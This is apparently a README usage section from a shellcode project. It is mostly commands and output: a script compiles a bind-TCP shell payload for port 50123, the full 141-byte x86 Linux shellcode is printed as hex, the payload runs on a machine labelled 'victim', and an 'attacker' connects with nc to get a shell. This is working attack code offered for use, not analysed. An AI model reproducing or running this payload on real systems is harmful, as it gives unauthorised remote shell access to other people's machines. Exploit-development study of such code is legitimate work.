35 lines
1.5 KiB
Plaintext
35 lines
1.5 KiB
Plaintext
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USAGE
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1. Compile the shellcode
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$ ./compile_all.sh shell_bind_tcp 50123
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[I] Using custom port: 50123
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[+] Assembling shell_bind_tcp.nasm with NASM ...
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[+] Linking shell_bind_tcp.o ...
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[+] Generating shellcode with objdump ...
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[+] Checking shellcode for NULLs ...
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[+] Shellcode size is 141 bytes
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"\x31\xc0\xb0\x66\x31\xdb\xb3\x01\x31\xc9\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xeb\x6d\x5f\x31\xc0\xb0\x66\x31\xdb\xb3\x02\x31\xd2\x52\x66\xff\x37\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc0\xb0\x66\x31\xdb\xb3\x04\x6a\x01\x56\x89\xe1\xcd\x80\x31\xc0\xb0\x66\x31\xdb\xb3\x05\x31\xd2\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc0\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xcd\x80\xe8\x8e\xff\xff\xff\xc3\xcb"
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[+] Generating shellcode.c file with the shell_bind_tcp shellcode ...
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[+] Compiling shellcode.c with GCC ...
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[+] All done! You can run the shellcode now:
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$ ./shellcode
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1. Run the shellcode on the victim machine
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victim $ ./shellcode
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Shellcode Length: 141
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victim # netstat --inet -apn |grep shellcode
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tcp 0 0 0.0.0.0:50123 0.0.0.0:* LISTEN 982/./shellcode
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2. Attacker can now connect and get the shell
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attacker $ nc localhost 50123
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id
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uid=500(arno) gid=500(arno) groups=500(arno),18(dialout),498(desktop_admin_r),501(vboxusers) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
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